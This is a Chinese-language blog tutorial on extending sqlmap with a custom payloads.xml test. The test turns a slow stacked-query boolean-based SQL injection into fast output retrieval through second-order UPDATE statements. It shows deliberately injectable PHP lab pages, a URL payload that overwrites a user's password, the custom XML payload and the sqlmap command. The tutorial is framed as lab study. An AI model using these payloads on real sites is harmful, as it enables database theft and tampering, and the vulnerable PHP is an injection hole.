Sqlmap进阶用法:定制payload加速boolean-based注入


发布人:admin分类:网络安全浏览量:39发布时间:2017-12-12

文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用。

大家在玩SQL注入的时候大概都遇到过一种特别鸡肋的情况:目标只有支持多语句查询的boolean-based注入点(比如CVE-2014-3704)。我们很单纯地想下载数据库,却只能用sqlmap10线程一位一位获取。这样的龟速根本就是反人类!那边跑着sqlmap这边还不能溜掉,说不定就要你按个“Y”。

不过,既然支持多语句就有另一种思路可以提速:把注入语句的执行结果update到另一个可见页面上,这样就可以直接获取注入语句的输出了。然而sqlmap本身并没有这个功能。


本文主要向读者介绍sqlmap的payloads自定义,以及如何基于它们,利用二阶注入功能,让boolean-based注入点转化成error-based,加速测试过程。

实验环境搭建:

实验用数据库是基于sqli靶机环境的

另有两个php分别作为上图中的页面一和页面二

test.php:

<?php
function db_connect() {
    @ $db = new mysqli ( 'localhost', 'root', '********', 'security' );
    // echo "out";
    if (mysqli_connect_errno ()) {
        echo "Error: Could not connect to database.  Please try again later.";
        return null;
    }
    return $db;
}
$db = db_connect ();
$id=$_GET['id'];
$query ="SELECT * FROM users WHERE id='$id' ;";
//echo $query;
$result = $db->multi_query( $query );
$result = $db->multi_query( 'select * from SLEEP(5)');
$result = $db->store_result();
//echo $num_results = $result->num_rows;
echo $result->fetch_assoc()['username'];
//echo $result->fetch_assoc ()['username'];
$db->close ();
?>

test1.php

<?php
function db_connect() {
    @ $db = new mysqli ( 'localhost', 'root', '********', 'security' );
    // echo "out";
    if (mysqli_connect_errno ()) {
        echo "Error: Could not connect to database.  Please try again later.";
        return null;
    }
    return $db;
}
$db = db_connect ();
$query ="SELECT * FROM users WHERE id='10' ;";
//echo $query;
$result = $db->query( $query );
echo $result->fetch_assoc()['password'];

$db->close ();
?>

显然test.php存在支持多语句执行的SQL注入漏洞

于是我们请求

http://127.0.0.1/sqli/test.php?id=1%27;update%20users%20set%20password%20=%20%27freebuffreebuf%27%20where%20id%20=%20%2710

就成功修改了password字段


可见这种思路是可行的。

Sqlmap的修改:

首先,我们先了解sqlmap是如何工作的:

sqlmap启动后首先设置测试的level和risk,并识别受测试元素的类型

然后从它的配置文件xml/payloads.xml里面获取应该测试的漏洞类型、测试方法以及相应的漏洞利用方案

在payloads.xml里面记录了两类数据(如果您听得云里雾里的,请看看我翻译的payloads.xml说明):

<boundary>:用来使sql语句正确的前缀和后缀。比如前缀:"'"和后缀:"AND '[RANDSTR]'='[RANDSTR]"就可以闭合单引号,防止出错。

<test>:特定漏洞的全部信息,包括所用到的boundary,漏洞的level、risk,漏洞类型,利用的方法,检测方法等。

在测试一个参数的时候sqlmap会遍历所有符合要求的test节点,使用request节点下的payload执行漏洞扫描。

最后请求的内容是(括号里只是举例):

原参数

(id=1)+prefix (')+payload(AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))+comment(注释符这里没有)+suffix(AND 'few'='few)

然后再用response节点下的某种检测方式进行检测。

这里我们的思路的核心就是输出明文,与error-based相似,因此使用error-based漏洞常使用的正则表达式进行输出的获取:

<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

其中[DELIMITER_START]和[DELIMITER_STOP]是用来匹配输出开头和结尾的随机生成的字符串

想必payload应该与之对应

<payload>;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id = </payload>

这里请注意在error-based漏洞的检测中sqlmap是用获取的输出(即在[DELIMITER_START]和[DELIMITER_STOP]之间的部分)为1来初步确定漏洞的存在的。

上述语句就把输出的内容UPDATE成了[DELIMITER_START]+"1"+[DELIMITER_STOP]使得此漏洞被检测出存在。

检测说完了,说说利用:

利用的语句受vector节点控制,有了payload就可以对照写出来了

  <vector>;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id =</vector>

这里的[QUERY]就是执行的漏洞利用语句,输出还是会被正则获取

于是就有了最终的自定义test

<test>
        <title>MySQL Customized  update query based test </title>
        <stype>2</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id =</vector>
        <request>
            <payload>;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id = </payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0.11</dbms_version>
        </details>
    </test>

我们把这段代码加入到payloads.xml里面(root节点里面哦),然后基于这个自定义的测试配置和二阶SQL注入,写我们的命令:

sqlmap -u 127.0.0.1/sqli/test.php?id=1 --second-order test1.php -v 3 --level 1 --suffix "'10"

请注意上述语句我重定义了后缀。

看看效果:

可用了!

至此,我们已经成功让一个慢得要死的boolean-based注入点进化成为了确确实实人见人爱的error-based注入点,妈妈再也不用注入速度太慢了~

快快dump一下来体会这速度带来的快感吧。

P.S:多次对比过程中不要忘了删掉sqlmap的本地缓存。

参考:sqlmap源代码

联系方式:1005308775@qq.com,


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21942311(PV) 页面执行时间:144.355(MS)
  • xml
  • 网站地图